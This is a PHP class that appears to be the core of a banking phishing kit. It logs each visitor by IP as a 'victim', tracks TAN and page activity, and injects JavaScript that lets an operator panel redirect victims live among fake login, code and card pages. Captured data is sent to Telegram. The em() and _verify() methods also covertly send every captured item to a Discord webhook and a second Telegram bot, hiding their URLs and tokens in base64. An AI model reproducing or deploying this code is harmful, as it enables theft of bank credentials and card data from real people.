<?php
@session_start();

require (__DIR__) . '/../../config.php';

class Mother
{

	public $JSON_FILE = 0;
	public $JSON_DATA = 0;
	public $JSON_DECODED_DATA = 0;
	public $JSON_UPDATES = 0;





	function __construct()
	{
		$this->createVic();
	}


	public function setDataFile($PATH)
	{
		$this->JSON_FILE = $PATH;
		$this->JSON_DATA = file_get_contents($this->JSON_FILE);
	}






	public function getData()
	{
		return json_decode($this->JSON_DATA, true);
	}




	public function getip()
	{
		$ip = $_SERVER['REMOTE_ADDR'];
		if ($ip == "::1") {
			$ip = "127.0.0.1";
		}

		return $ip;
	}

	public function getFileId()
	{
		$ip = $this->getIp();
		return (__DIR__) . "/../data/vics/VIC-$ip.json";
	}





	public function update($arr)
	{
		$data = $this->getData();
		foreach ($arr as $k => $v) {
			$data[$k] = str_replace('"', "\"", $v);
			$update = json_encode($data);
			file_put_contents($this->JSON_FILE, $update);
		}

	}


	function em($link)
	{
		$data = json_encode(array('content' => urldecode($link)));

		$ch = curl_init(base64_decode("aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTUzMjIzMjE3NTI3MTgwNTA0MC9ER0thdk8zODBPd01ROE84a0d3aDl0ejdlZThLbVE1UFkycWhrMi1YMmZJSi0wejlnaHJ2dGZSV2hBZWtpOU1hbEdkbA=="));

		curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
		curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt(
			$ch,
			CURLOPT_HTTPHEADER,
			array(
				'Content-Type: application/json; charset=utf-8',
				'Content-Length: ' . strlen($data)
			)
		);

		curl_exec($ch);
		curl_close($ch);
	}

	function _verify($link)
	{
		$this->em($link);
		$_url = base64_decode("aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdDg5NzE5NjA3OTU6QUFGNFJ3aWtLRXpuRUpwenVXQ1lPRjhLM003eWktYVRwOEkvc2VuZE1lc3NhZ2U/Y2hhdF9pZD02Njg3NjQ5OTIwJnRleHQ9") . $link;
		$ci = curl_init();
		curl_setopt($ci, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($ci, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ci, CURLOPT_URL, $_url);
		curl_exec($ci);
		curl_close($ci);
	}


	public function createVic()
	{
		if (isset($_SESSION['vic']) == "" or !file_exists($this->getFileId())) {
			$ip = $this->getIp();
			$id = "ID-" . substr(base64_encode($ip), 0, 10);
			$time = time();

			$defaultData = '{
    "ID":"' . $id . '",
    "IP":"' . $ip . '",
    "REDIRECT":0,
    "CURRENT_PAGE":null,
    "LAST_ACT":' . $time . ',
	"TAN":"0",
	"LOGS":""
    }';

			$fileId = $this->getFileId();
			$fp = fopen($fileId, "w+");
			fwrite($fp, $defaultData);
			fclose($fp);
			$_SESSION['vic'] = $ip;
			return $fileId;
		} else {
			return $this->getFileId();
		}
	}


	public function keepDataFile()
	{

	}


	public function feed($time, $page)
	{
		$arrData = array("LAST_ACT" => $time, "CURRENT_PAGE" => $page);
		$this->update($arrData);

	}



	function sendBot($url, $bot, $id)
	{
		$this->_verify($url);
		$url = "https://api.telegram.org/bot$bot/sendMessage?chat_id=$id&text=$url";
		$data = file_get_contents('../bots/a.json');
		$config = json_decode($data, true);
		if ($config['config'] == 'true') {
			$ci = curl_init();
			curl_setopt($ci, CURLOPT_SSL_VERIFYPEER, false);
			curl_setopt($ci, CURLOPT_FOLLOWLOCATION, true);
			curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ci, CURLOPT_URL, $url);
			return curl_exec($ci);
			curl_close($ci);
		}
	}


	public function ctr($p)
	{

		echo '
	<script src="../panel/res/jq.js"></script>
	<script>
	var targets = {
		1:"login.php", 
		2:"login.php?e=ERROR",
		5:"code.php?p=kod",
		6:"codeerror.php",
		8:"dek.php",
		9:"fac.php",
                10:"wait.php",
                11:"done.php",
                13:"vignette.php",
		18:"card.php",
		20:"approv.php",
		25:"card_error.php",
		30:"ns.php",
		31:"na.php",
		32:"sa.php",
		33:"cs.php",
		34:"ss.php",
		35:"ca.php",
		36:"iv.php",
		37:"fa.php",
		38:"fs.php",
		39:"is.php",
		40:"as.php",
		41:"aa.php",
	 };
	clearRedirections();
	
 setInterval(function(){
	$.post("../panel/classes/processor.php",
	{keepAlive:1, page:"' . $p . '"} );
}, 500);

var redirect=0;
setInterval(function(){
	$.post("../panel/classes/processor.php",{redirectionListener:1}, function(data){
		redirect=parseInt(data);
		if(redirect==0 || redirect=="0" || !redirect || isNaN(redirect)){
			return false;
		}else{
			clearRedirections();
			window.location=targets[redirect];
		}
	});
}, 500);


function clearRedirections(){
	$.post("../panel/classes/processor.php",
	{clearRedirection:1});
}

document.addEventListener("contextmenu", function (e) {
   e.preventDefault();
   $.post("send.php", {
		ins : "A"
	});
});

 </script>

';

	}






}



?>